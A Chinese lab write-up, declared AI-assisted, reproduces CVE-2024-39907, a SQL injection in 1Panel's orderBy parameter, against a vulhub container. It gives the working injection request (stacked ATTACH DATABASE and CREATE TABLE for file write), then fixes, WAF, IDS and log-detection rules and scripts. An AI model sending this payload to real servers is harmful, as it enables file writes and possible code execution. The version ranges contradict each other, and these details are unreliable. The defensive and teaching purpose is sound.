创作声明
AI创作声明
本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。
免责声明
本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。
版权声明
本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。
准备工作
Docker的常用命令
docker compose pull #将远程镜像拉取到本地
docker compose up -d #启动容器,并且不包含下载日志
docker ps #查看开放端口
docker compose logs #查看日志
docker compose down #销毁容器
docker compose build #重启容器
docker compose exec web bash #进入名为web的服务容器并打开 Bash 终端的命令
漏洞概述与原理分析
CVE-2024-39907 是一个影响 1Panel(Fit2cloud 提供的开源 Linux 服务器管理面板) 的 SQL 注入漏洞,存在于多个未正确过滤用户输入的 SQL 查询中,攻击者可借此执行任意 SQL 代码,最终可能导致 任意文件写入和远程代码执行(RCE)。
- 漏洞类型:SQL Injection (CWE-89)
- 影响版本:1Panel ≥ v1.10.9-lts 且 < v1.10.12-tls
- 严重性:Critical(CVSS 9.8)
- 攻击向量:网络访问、无需授权
- 根本原因:动态构造 SQL 查询时把不可信输入直接拼接到
ORDER BY或其他 SQL 子句,缺乏正确参数化或过滤。
SQL 注入允许攻击者将恶意 SQL 片段注入到应用构造的 SQL 语句中,从而使数据库执行未授权操作,这可能包括读取、修改数据,甚至写入文件或执行系统命令。
漏洞复现原理图示说明
下面的原理图示可以用于论文/答辩 PPT,无需暴露具体 exploit 细节。
1)正常请求被安全处理
Client HTTP Request
↓
1Panel Backend
(Validate + Compose SQL)
↓
DB executes authorized parameterized query
↓
Return safe result
2)在存在漏洞的情况下
✔ Client sends malicious payload
e.g. order_by="id; WRITE_FILE('/tmp/x')"
Client HTTP Request
↓
1Panel directly concatenates input into SQL
↓
Malicious SQL injected
↓
DB executes unintended/injected command
↓
Potential file write / RCE
图 示展示了 CVE-2024-39907 漏洞的触发原理。攻击者通过将恶意输入注入到应用未处理的参数(如 ORDER BY 字段)中,使得后台在构造 SQL 查询时将不可信输入直接拼接到查询中,从而触发 SQL 注入漏洞,导致数据库执行未授权 SQL 语句。
漏洞复现
PS C:\Users\lucky\vulhub\1panel\CVE-2024-39907> docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
663e0970bc87 vulhub/1panel:1.10.10 "/bin/bash -c '/usr/…" 2 minutes ago Up 2 minutes 0.0.0.0:10086->10086/tcp, [::]:10086->10086/tcp cve-2024-39907-1panel-1
访问http://127.0.0.1:10086/entrance,利用凭证{用户名1panel,密码1panel_password}进入靶场环境。
用登录凭证进入1panel面板后,在/api/v1/hosts/command/search接口,由于orderBy参数未进行充分过滤,导致允许攻击者通过SQL注入引起文件上传漏洞,最终达成远程命令执行RCE。[1]
POST /api/v1/hosts/command/search HTTP/1.1
Host: 127.0.0.1:10086
Accept-Language: zh
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Cookie: psession=6d1d7f6a-a1c0-4475-8007-d2477fba1119
Connection: close
Content-Type: application/json
Content-Length: 243
{
"page":1,
"pageSize":10,
"groupID":0,
"orderBy":"3;ATTACH DATABASE '/tmp/randstr.txt' AS test;create TABLE test.exp (data text);create TABLE test.exp (data text);drop table test.exp;",
"order":"ascending",
"name":"a"
}
由于搜索框的orderBy参数由于没有进行过滤,它允许SQL注入的ATTACH DATABASE函数生效,使之在服务器上能够两次创建同样的文件,具体命令见create TABLE test.exp (data text)。因而,我们能够看到table exp already exists (1)等字段。[1]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Sun, 19 Oct 2025 08:03:16 GMT
Content-Length: 102
Connection: close
{"code":500,"message":"服务内部错误: SQL logic error: table exp already exists (1)","data":null}
通过SQL logic error: table exp already exists (1)"信息,这是SQL注入中报错注入的典型特征,我们判断初步完成漏洞利用。由于挖掘漏洞往往采用点到为止的方式,所以后续不在进行利用。
但是可以肯定的是该漏洞允许用户上传文件,如果服务器端不对用户上传的恶意文件继续进行排查的话,很有可能被图谋不轨的人利用,从而达到控制后台、泄露个人信息甚至影响系统稳定性的后果。这是该漏洞的影响效果。
建议安全开发人员,除了对orderBy参数进行更严格的输入过滤、采用参数化查询、实施最小权限原则(只允许管理员执行必要的查询),并及时对后端部署WAF产品检测恶意文件,防止后门文件被恶意写入从而造成更严重的效果。
溯源思路,除了查到攻击者写入的文件和探测泄露的信息之外,还要查看是否留有后门程序、是否创建其他不合理权限的用户等。
修复建议
最推荐的修复方法是 升级到已修复的 1Panel 版本:
✔ 升级到 1.10.12-tls 或更高版本,该版本修复了相关 SQL 注入问题。
若不能立即升级,还可以从以下层面缓解: CVE-2024-39907是1Panel控制面板中存在的多个SQL注入漏洞集合,这些漏洞存在于1Panel的多个接口中,部分注入点由于过滤不充分,可能导致攻击者实现任意文件写入,最终达成远程命令执行(RCE)。该漏洞影响1Panel v1.10.9-lts及更早版本,目前已在v1.10.12-lts版本中得到修复。
风险评估与防御建议
- 风险极高:攻击复杂度低,可无权限远程触发。
- 影响严重:数据库泄露、任意文件写入、可能演变为远程代码执行。
- 第一优先级:升级到修复版本是唯一根治措施。
- 防御要点:
- 全面采用参数化查询
- 白名单字段校验
- 前端输入严格过滤
- WAF/IDS 结合规则、行为检测
- 输入验证与参数化查询
在所有接受用户输入的地方,特别是排序、过滤参数、动态 SQL 构造点,必须采用参数化查询或 ORM API,不直接拼接字符串。
伪代码修复示例(以 Go / SQLx 为例):
// ❌ 易受 SQL 注入
orderBy := ctx.QueryParam("order_by")
query := fmt.Sprintf("SELECT id, name FROM users ORDER BY %s", orderBy)
db.Query(query)
// ✅ 安全做法:白名单 + 参数
allowed := map[string]bool{"id":true, "name":true}
if !allowed[orderBy] {
orderBy = "id" // fallback
}
query := "SELECT id, name FROM users ORDER BY " + orderBy
db.Select(&users, query)
✔ 使用白名单验证排序字段而非直接拼接输入。
✔ 对动态字段的输入进行严格控制或映射到预定义字段名。
- 参数化预编译语句
在绝大多数 SQL 执行接口中,支持预编译语句或参数绑定,应全部使用。
示例(伪代码):
# ❌ 拼接不可信 user input
sql = f"SELECT * FROM tasks WHERE status = '{status}'"
cursor.execute(sql)
# ✅ 使用参数化
sql = "SELECT * FROM tasks WHERE status = %s"
cursor.execute(sql, (status,))
基于该漏洞的安全检测与防护规则
针对 SQL 注入风险,可以设计以下规则用于流量检测和阻断: 1)通用 WAF 规则(基于请求内容)
检测 URL、参数中是否包含典型的 SQL 注入符号或模式并与上下文字段匹配:
SecRule ARGS "(union|select|order by|--|;|insert|update|delete)" \
"phase:2,deny,status:403,msg:'SQL Injection attempt detected (CVE-2024-39907 regexp)',severity:CRITICAL"
✔ 匹配常见 SQL 注入关键词
✔ 阻断明显恶意请求
2)NIDS/IDS 规则(Suricata 示例)
alert http any any -> any any (
msg:"CVE-2024-39907 based SQL Injection suspicious";
http.uri;
content:"order by";
pcre:"/order\s+by\s+[a-zA-Z0-9_]+(\s*;\s*)?/i";
classtype:web-application-attack;
sid:202439907;
rev:1;
)
✔ 检测请求 URI 中包含不合常规的排序注入模式
✔ 依据正则减少误报
3)SIEM/日志规则(关联检测) 对于日志分析系统(ELK/Splunk):
index=web_access
| search "order by" AND ("union" OR "select") AND http_method=GET
| stats count by src_ip, uri
可记录攻击源及行为频次,用于告警与阻断。
当然可以结合日志和流量进行分析。
- 基于日志的检测脚本 此脚本用于分析 1Panel 的访问日志,检测包含攻击特征的请求。
#!/usr/bin/env python3
"""
1Panel CVE-2024-39907 攻击检测脚本
分析访问日志,查找包含恶意 orderBy 参数的请求
"""
import re
import sys
from datetime import datetime
# 攻击特征正则
ATTACK_PATTERNS = [
re.compile(r'orderBy=.*ATTACH\s+DATABASE', re.IGNORECASE),
re.compile(r'orderBy=.*CREATE\s+TABLE', re.IGNORECASE),
re.compile(r'orderBy=.*;\s*[a-z]', re.IGNORECASE), # 分号后跟语句
re.compile(r'table\s+exp\s+already\s+exists', re.IGNORECASE), # 错误回显
]
def analyze_log_line(line):
"""分析单行日志,返回是否可疑"""
for pattern in ATTACK_PATTERNS:
if pattern.search(line):
return True
return False
def scan_log_file(log_path):
"""扫描日志文件"""
alerts = []
try:
with open(log_path, 'r', encoding='utf-8', errors='ignore') as f:
for line_num, line in enumerate(f, 1):
if analyze_log_line(line):
alerts.append({
'line': line_num,
'content': line.strip(),
'timestamp': datetime.now().isoformat()
})
except FileNotFoundError:
print(f"[-] 日志文件不存在: {log_path}")
return []
return alerts
if __name__ == '__main__':
if len(sys.argv) < 2:
print("用法: python detect.py <日志文件路径>")
sys.exit(1)
log_file = sys.argv[1]
results = scan_log_file(log_file)
if results:
print(f"[!] 发现 {len(results)} 条可疑请求:")
for alert in results:
print(f"行 {alert['line']}: {alert['content']}")
else:
print("[+] 未发现攻击特征")
- 实时流量检测(Python + Scapy) 适用于网络层抓包检测,但需要部署在网关或旁路。
from scapy.all import *
import re
# 定义检测函数
def detect_packet(packet):
if packet.haslayer(TCP) and packet.haslayer(Raw):
payload = packet[Raw].load.decode(errors='ignore')
# 检测HTTP请求中的orderBy参数
if re.search(r'orderBy=.*ATTACH\s+DATABASE', payload, re.I):
print(f"[!] 检测到攻击尝试: {packet[IP].src} -> {packet[IP].dst}")
# 可以记录或阻断
# 开始嗅探(需要root权限)
sniff(filter="tcp port 80 or tcp port 443", prn=detect_packet, store=0)
ModSecurity WAF 防护规则
- 基础规则(阻止包含 ATTACH DATABASE 的请求)
# 文件名: modsecurity_crs_61_1panel_cve_2024_39907.conf
# 放置在 /etc/modsecurity/ 或包含目录
SecRule ARGS:orderBy "@rx (?i)(ATTACH\s+DATABASE|CREATE\s+TABLE)" \
"id:1000001,\
phase:2,\
block,\
capture,\
t:none,\
msg:'1Panel CVE-2024-39907 SQL Injection Attempt',\
logdata:'Matched Data: %{TX.0} within ARGS:orderBy',\
tag:'attack-sqli',\
tag:'cve-2024-39907',\
severity:'CRITICAL',\
setvar:'tx.anomaly_score=+%{tx.critical_anomaly_score}'"
# 检测堆叠查询(分号)
SecRule ARGS:orderBy "@rx (?i);\s*(SELECT|INSERT|UPDATE|DELETE|DROP|ATTACH|CREATE)" \
"id:1000002,\
phase:2,\
block,\
capture,\
t:none,\
msg:'1Panel Stacked Query Injection',\
logdata:'Matched Data: %{TX.0} within ARGS:orderBy',\
tag:'attack-sqli',\
severity:'CRITICAL'"
- 增强规则:检测常见绕过手法
# 检测注释符绕过
SecRule ARGS:orderBy "@rx (?i)(/\*!?\*/|--|#|%00|;)" \
"id:1000003,\
phase:2,\
block,\
capture,\
t:none,\
msg:'1Panel SQL Injection - Comment Bypass',\
logdata:'Matched Data: %{TX.0}',\
tag:'attack-sqli',\
severity:'HIGH'"
# 检测SQLite特定函数
SecRule ARGS:orderBy "@rx (?i)(ATTACH\s+DATABASE|sqlite_master|sqlite_temp)" \
"id:1000004,\
phase:2,\
block,\
t:none,\
msg:'1Panel SQLite Injection',\
tag:'attack-sqli',\
severity:'CRITICAL'"
- 异常检测:限制参数长度和字符类型
# orderBy 参数长度限制(正常值通常较短)
SecRule ARGS:orderBy "@gt 50" \
"id:1000005,\
phase:2,\
block,\
t:none,\
msg:'orderBy parameter too long, possible injection',\
severity:'WARNING'"
# 只允许字母数字、下划线、点号和空格(根据业务调整)
SecRule ARGS:orderBy "!@rx ^[a-zA-Z0-9_.\s]+$" \
"id:1000006,\
phase:2,\
block,\
t:none,\
msg:'orderBy parameter contains invalid characters',\
severity:'HIGH'"
- ModSecurity 配置示例(包含以上规则)
将以上规则保存到一个文件,然后在 ModSecurity 配置中引入:
<IfModule mod_security2.c>
Include /etc/modsecurity/modsecurity_crs_61_1panel_cve_2024_39907.conf
</IfModule>
参考文章
1.An SQL injection issue related to the orderBy clause. · Advisory · 1Panel-dev/1Panel github.com/1Panel-dev/…